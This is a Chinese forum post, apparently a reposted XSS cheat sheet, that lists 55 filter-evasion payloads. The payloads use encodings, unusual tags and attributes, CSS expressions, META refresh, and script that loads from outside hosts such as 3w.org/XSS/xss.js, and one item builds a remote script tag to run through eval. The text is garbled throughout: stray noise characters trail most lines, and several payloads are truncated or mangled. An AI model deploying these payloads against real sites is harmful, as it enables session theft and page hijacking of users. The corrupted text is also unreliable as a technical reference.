(1)普通的XSS JavaScript注入2 M' }3 b( @! o3 Q! v/ {
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
' y7 N- R) j, ?# d(99)另类弹框/ ? O B& I c: M
<q/oncut=alert()>11 r5 I: `, T- m5 ]) M0 j2 K
<s/onclick=alert()>b
6 t/ o$ H, z9 D' L. F" o1 J" r8 U <XSS=" onclick="alert(1)//">clickme</SSX=">
+ D# f4 R# M0 H; C <zzz onclick=alert`1`>clickme</zzz>
% ?. L( ^. z. A7 U6 B& j <a onclick=alert`1`>clickme</a>
2 {- p# e4 {0 ^" v<a=">clickme</a=">$ Q) b/ v" N' R
<a=">clickme</a>
% T; f: d& @; ^* N+ W<z=">clickme</z=">2 L* U( ]& M! _& z! F& I1 [$ N
<z onclick=alert`1`>clickme</z>
* y: S" r) j# l( z1 X; n) H. c d+ {! p7 y3 W' A- g
(2)IMG标签XSS使用JavaScript命令
4 N0 A8 C5 v* N: V" v<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
$ U+ t- x, x8 o1 y: C, j8 O0 S4 o; w2 n5 D. N% x v
(3)IMG标签无分号无引号
6 [* l, T5 \2 j e<IMG SRC=javascript:alert(‘XSS’)>
9 W9 y$ T3 t, _! Y2 ]+ b# R# w$ U" g+ F
(4)IMG标签大小写不敏感9 ]: ~! G# T8 Z4 i; F0 @" u
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
" }7 G& k! A/ c6 \! f j3 k
) }% S5 F9 F; |8 I& D(5)HTML编码(必须有分号)
7 `% h( [$ ]) V0 q9 Z4 Z. G<IMG SRC=javascript:alert(“XSS”)>
! b0 a" h4 `1 d* D# h6 l+ C% P, x) {
(6)修正缺陷IMG标签% w: y5 @& ]: d; F3 o
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
: x/ U1 @- o7 m+ h5 K" G: N' X3 ~, ?. @* s6 P! L& l
(7)formCharCode标签(计算器)$ I& N8 a& k1 \
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
6 S H) _" J+ }1 c# k3 m# L/ u- |' t+ V9 Z0 L4 F8 q4 a
(8)UTF-8的Unicode编码(计算器)
) P5 _4 K8 Q r& U' i( B, A4 b4 K6 X<IMG SRC=jav..省略..S')>9 y5 R y: o% z1 Z- j
- d8 G0 ~" Z: L# U(9)7位的UTF-8的Unicode编码是没有分号的(计算器)( `7 U4 r. R- m2 s! j
<IMG SRC=jav..省略..S')>8 R# D) U5 e# l
2 [6 e7 V# H1 r& o
(10)十六进制编码也是没有分号(计算器); z7 I+ r- {# M5 W- E2 D) H) A; w- |
<IMG SRC=\'#\'" /span>
3 v# {6 H1 N$ l5 w m0 ~1 c: x6 l
(11)嵌入式标签,将Javascript分开, b% V4 Y1 V+ F# R6 F0 K" W
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”># N+ @: p& h2 u3 q# i* x/ b/ n
* v( R6 w" c( Y+ h8 H! |! d
(12)嵌入式编码标签,将Javascript分开$ h2 X9 _2 F E, n" i
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
}/ Y1 E) S1 u5 `3 v3 `: Y- ]
: E/ O5 x) B8 D' A/ O+ B, v(13)嵌入式换行符
* A# U7 j0 {( r m<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
/ V! ?; R$ G5 v ~7 K4 w& R- y1 i
3 |1 u5 V1 ^9 {, L; G8 u(14)嵌入式回车
4 O% v& ?5 ?& Y" m' l5 e<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>( f: ^0 ]- K% W1 }0 d
9 @ ]7 D- \& I% B. l$ C
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
) z/ Y4 S% O# I9 s% m<IMG SRC=\'#\'" /span>% g6 w6 z+ t( d+ w# [( x& l& w
7 z0 @6 k' a" @* Z% l! f
(16)解决限制字符(要求同页面)5 c! A3 ]7 s! ?& a2 m+ g
<script>z=’document.’</script>8 |" v! Y( O3 f' k
<script>z=z+’write(“‘</script>
3 d! y4 {: A" D! X+ ^<script>z=z+’<script’</script>9 k6 ~/ r6 v8 u+ E7 [
<script>z=z+’ src=ht’</script>4 _3 G8 D- N% H* b5 J) i% m
<script>z=z+’tp://ww’</script>7 y( Q0 A3 L( q
<script>z=z+’w.shell’</script>
. a- e' F0 R6 ?" Z! ^<script>z=z+’.net/1.’</script>
9 {; t _" C" J5 A$ p1 b<script>z=z+’js></sc’</script>
' \* k+ b z; {! x3 ?1 |$ w& K<script>z=z+’ript>”)’</script>
5 w/ X7 P" B: h$ W3 R- U<script>eval_r(z)</script>4 C" x4 V/ O' c8 Q! I
7 T( y& X& {. d1 b
(17)空字符
9 T3 j' i$ ~! c' O" ~$ v @. w @1 r) m) ?perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out5 }' Y" E3 U, I
7 W) h- h% H. E3 t(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
1 V% f( P+ H2 E( Lperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
# `6 c \" g9 E2 s5 y2 I: f4 o' `! q2 F- H1 D
(19)Spaces和meta前的IMG标签, i0 B* C( y; p
<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
4 p9 ?3 W6 F% V# r4 x" F
& G% w# W9 r B* n0 E8 G(20)Non-alpha-non-digit XSS
8 h3 u7 H1 d1 a<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>' p" I9 [, j# w# V( M
4 M6 O& Y) R8 ~(21)Non-alpha-non-digit XSS to 2! F# ~. ]6 e4 Q5 j: @* t* L) V! d
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
# J6 Y& @) _, r+ U T
- \( q7 |, l/ S% v7 N(22)Non-alpha-non-digit XSS to 3
9 d% o& U3 A# W( y<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>' l. l+ F0 S1 d, V' n8 t' F
0 H' I0 w3 a! f
(23)双开括号
+ D6 L2 j$ `% g" U<<SCRIPT>alert(“XSS”);//<</SCRIPT>& f4 x' d! m' F) r
5 I7 p7 s. `0 p9 `- n(24)无结束脚本标记(仅火狐等浏览器)8 B8 h8 T# {6 u6 s. J# ]. V
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>8 M0 p) m% {( N
8 R6 K* S( h3 d# Y$ h(25)无结束脚本标记2
; p3 {5 v" F: { |; v' [, U4 Y: x<SCRIPT SRC=//3w.org/XSS/xss.js>( l( b) x) P+ P8 o
* Y' N# Y1 C: ]
(26)半开的HTML/JavaScript XSS
' X' Y* y" F1 n3 Y6 I9 m<IMG SRC=\'#\'" /span>
3 r; o; g5 l# |) C7 I4 }, _
# M; j5 E4 m1 n(27)双开角括号
2 N8 W% C# d# k. G0 w+ F<iframe src=http://3w.org/XSS.html <
( t g7 {( J7 @2 X7 H8 c c7 s; Y9 W \( t& `
(28)无单引号 双引号 分号! K7 D; K Z) f7 ^( B; _; }+ Y1 t
<SCRIPT>a=/XSS/ i0 u4 }/ z/ m, P4 r
alert(a.source)</SCRIPT>
4 Q! w3 T& B$ P+ R0 i: w4 r% W% w0 }
(29)换码过滤的JavaScript
, j& b6 y7 m7 L\”;alert(‘XSS’);//
! G# ~, d5 J* z8 Y z/ X8 o. }) j' R3 b* E9 E* F; P
(30)结束Title标签$ K8 U' e4 r. r: S6 p
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>' z3 v8 T' V1 P% H8 T0 n9 G" M
) v1 l" m* p! S+ z1 {9 I" l- U
(31)Input Image' g* @% {, x$ W% W. k0 N
<INPUT SRC=\'#\'" /span>
/ g. U, `+ w( X0 F" z7 a3 h3 t
/ ^8 u! j1 c4 b(32)BODY Image1 K# U; A4 |1 [7 h+ l
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
9 T: I8 c4 U+ u, }2 Y7 O* y& e: j. H
(33)BODY标签+ z0 O2 a- e4 f
<BODY(‘XSS’)>; n9 E! x: Z! `5 H
1 W0 Y* n! y+ | y0 G$ E/ Y8 G) q(34)IMG Dynsrc
5 `: F5 N5 U, |) j4 u+ m2 T' f/ T0 L<IMG DYNSRC=\'#\'" /span>( ~) O1 g5 c9 _$ j/ X. k$ }
; ]! v& I% m8 A+ n
(35)IMG Lowsrc
8 f s( n2 `! s<IMG LOWSRC=\'#\'" /span> l$ W' p- o! D) I3 z
- c3 q) F4 N) t/ \2 ?(36)BGSOUND. Q5 r' G+ M3 y* |' x' a+ m. J8 W: B; N
<BGSOUND SRC=\'#\'" /span>
) {7 i( u- K4 o/ z, I
G$ E- U: P' |' n: y1 [3 d(37)STYLE sheet; X* Z2 G6 v$ g" x! m- ~+ f
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>% n; e! Q( C, d' D I
# O5 }" @+ p0 }: I( j(38)远程样式表: s5 ?- H$ D) o9 s3 \4 ?/ X. Y
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>3 T9 @9 H/ z: V+ a$ Q4 ^( o
_# G4 D( p. x- A
(39)List-style-image(列表式)3 v+ Q8 d/ k4 @. O9 x a
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
0 Q( N& H2 O/ g1 o, O
& g* r- k* h) N- U) N; t4 H(40)IMG VBscript' Q2 ]4 e+ ~* a3 m$ ? c# D
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS3 ]' u1 v% R I
, k. w1 N% A3 q- ~ O( u
(41)META链接url% u5 @# m% U* p+ V' ^$ ?9 f
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
1 d& ?, g0 m' k2 T( m
! B; B! f3 Q5 \6 h3 F$ `(42)Iframe# K& }5 i* Y1 T
<IFRAME SRC=\'#\'" /IFRAME>
0 h: v# @) w- B: ?- Z, q" w2 m- x \) G' p X; ^
(43)Frame( p% j- h$ `" e" K- E, b- d! \
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>4 H. y) M( {2 {# T$ D
4 u) M$ P3 R( p6 E1 H
(44)Table6 o; F* T( {1 p/ }0 j
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>: R: L# T; o+ B+ k( E
3 Y/ ]% v- b% t(45)TD
/ o( L8 H* W( p. S7 M<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
3 A3 L5 F1 H6 j' W/ }3 U: m; l4 Y: |) d7 a. n9 q' L# G2 d
(46)DIV background-image( M& r$ B/ I# h3 J
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>' R$ }! L# [! j
$ `5 ~) g5 Y* O: G4 @' B( Q. l(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
/ U2 \; |& x% Z& `2 j3 ~: l<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>+ R) O# H0 G$ ]" a" Z, f p9 t
1 x/ x& e: O9 T. T6 P. \6 ~
(48)DIV expression9 r% v/ a2 P/ Y* r- X5 v: T5 K4 k
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
' L& k" L/ n8 T7 B; X+ X) v$ t8 J$ N: F7 ]2 C1 s0 n
(49)STYLE属性分拆表达: B5 i& j, ~7 p) u
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>) }' j6 q- y" J3 K
& E+ \" K( _* j0 {
(50)匿名STYLE(组成:开角号和一个字母开头)* E, O4 S& M6 N2 N: k: W
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”> ^. K! G( G& M9 q# l6 b
9 J8 @$ G" s# s
(51)STYLE background-image
4 m# f8 K9 M* `1 e0 h) i+ p4 @<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>0 J9 k4 [; t( L
- K% I- U) M( u* Z
(52)IMG STYLE方式
& A! i p% {: ]- T0 F6 {9 R( _exppression(alert(“XSS”))’>
9 v: l& Z5 z$ T$ p
9 m( o7 c5 t4 s(53)STYLE background
5 J3 j- _1 L- K<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
+ Z3 @; U% ^" B# I. W9 F
& G5 q% N4 f6 j# E& p(54)BASE
* B2 c1 {& ~. z' n( y2 g<BASE HREF=”javascript:alert(‘XSS’);//”>
0 {5 k( ?7 ~; d, i0 p' ]" R6 u0 n+ n3 f8 J3 U
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
0 }" v3 l" c$ q- F+ C; s<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>7 l$ p/ F# _+ \0 ~9 r# M4 E
|
发表于 2016-4-28 10:06:15
收藏
支持
反对